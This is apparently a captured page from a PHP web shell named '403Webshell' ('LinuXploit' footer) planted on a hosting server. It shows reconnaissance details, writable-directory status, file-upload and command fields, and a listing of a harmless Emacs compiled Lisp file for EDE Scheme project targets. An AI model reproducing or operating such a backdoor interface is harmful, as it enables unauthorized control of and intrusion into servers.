403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/cedet/ede/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/cedet/ede/proj-scheme.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\300\302!\210\303\304\305\306!\"\210\303\307\310\306!\"\210\303\311\307\"\210\312\311\313\314#\210\315\306\316\307#\317\306\320\321\322$\207" [require ede/proj ede/autoconf-edit defalias ede-proj-target-scheme-p eieio-make-class-predicate ede-proj-target-scheme ede-proj-target-scheme--eieio-childp eieio-make-child-predicate ede-proj-target-scheme-child-p make-obsolete "use (cl-typep ... \\='ede-proj-target-scheme) instead" "25.1" define-symbol-prop cl-deftype-satisfies eieio-defclass-internal (ede-proj-target) ((menu :initform nil) (keybindings :initform nil) (interpreter :initarg :interpreter :initform "guile" :type string :custom string :documentation "The preferred interpreter for this code.")) (:documentation "This target consists of scheme files.")] 6)
#@79 Create a new object of class type `ede-proj-target-scheme'.

(fn &rest SLOTS)
(defalias 'ede-proj-target-scheme #[128 "\300\301\302#\207" [apply make-instance ede-proj-target-scheme] 5 (#$ . 877)])
(byte-code "\300\301\302\303#\300\207" [function-put ede-proj-target-scheme compiler-macro ede-proj-target-scheme--anon-cmacro] 4)
#@26 

(fn WHOLE &rest SLOTS)
(defalias 'ede-proj-target-scheme--anon-cmacro #[385 "\211@;\204\207\300\301\302@@#@\303@DABB\"\207" [macroexp-warn-and-return format "Obsolete name arg %S to constructor %S" identity] 7 (#$ . 1213)])
(byte-code "\300\301\302\303\302\304%\210\305\306!\207" [cl-generic-define-method ede-proj-tweak-autoconf nil ((_this ede-proj-target-scheme)) #[257 "\300\301!\207" [autoconf-insert-new-macro "AM_INIT_GUILE_MODULE"] 3 "Tweak the configure file (current buffer) to accommodate THIS.\n\n(fn THIS)"] provide ede/proj-scheme] 6)

Youez - 2016 - github.com/yon3zu
LinuXploit